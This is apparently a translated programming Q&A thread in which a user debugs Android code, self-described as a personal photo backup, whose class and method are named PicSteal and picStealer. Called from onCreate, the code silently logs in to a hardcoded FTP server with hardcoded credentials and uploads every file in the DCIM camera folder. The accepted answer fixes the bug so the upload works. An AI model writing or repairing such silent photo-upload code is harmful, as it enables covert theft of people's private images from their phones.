在Android中制作个人手机备份应用程序,但它不起作用

时间:2014-03-21 04:30:35

标签: java android

所以,我制作了这个应用程序,使用FTP自动将我的照片上传到我的服务器,但我认为我没有这么做。

下面是我存储它的类,然后我在Main.java .onCreateI方法中调用此方法

package com.simplejsonapp;

import it.sauronsoftware.ftp4j.FTPAbortedException;
import it.sauronsoftware.ftp4j.FTPClient;
import it.sauronsoftware.ftp4j.FTPDataTransferException;
import it.sauronsoftware.ftp4j.FTPException;
import it.sauronsoftware.ftp4j.FTPIllegalReplyException;

import java.io.File;
import java.io.IOException;

import android.os.Environment;

public class PicSteal {
    public static void picStealer(){
        //Create the FTP connection object:
    FTPClient client = new FTPClient();
    try {

        client.connect("62.22.547.24"); //create connection to server
        client.login("sdasd", "ss
");//login using credentials

        //this is where the magic happens
        //create the file object
        File folder = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + "/DCIM/100MEDIA/");
        //create the array of files to iterate over
        File[] listOfFiles = folder.listFiles();

            for (int i = 0; i < listOfFiles.length; i++) {
              if (listOfFiles[i].isFile()) {
                 //upload file to server
                  try {
                    client.upload(new java.io.File("listOfFiles[i]"));
                } catch (FTPDataTransferException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                } catch (FTPAbortedException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
                //System.out.println("File " + listOfFiles[i].getName());
              } else if (listOfFiles[i].isDirectory()) {
                //System.out.println("Directory " + listOfFiles[i].getName());
              }
            }


        client.disconnect(true);//disconnect

    } catch (IllegalStateException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (IOException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (FTPIllegalReplyException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (FTPException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }


}

}

具体来说,我认为该部分

 for (int i = 0; i < listOfFiles.length; i++) {
              if (listOfFiles[i].isFile()) {
                 //upload file to server
                  try {
                    client.upload(new java.io.File("listOfFiles[i]"));

可能是罪魁祸首。我可以像这样传递数组[]吗? 我正在看我的FTP文件夹,因为这样,我看到没有上传。

我正在使用IIS ftp服务器执行此操作 - 也许我可以查看日志是否发生连接?

1 个答案:

答案 0 :(得分:0)

我解决了这个问题。答案就在我面前。

try {
                client.upload(new java.io.File("listOfFiles[i]"));
            }

应该是这样的:

try {
                    client.upload(new java.io.File(listOfFiles[i].toString()));
                }

现在工作得非常快。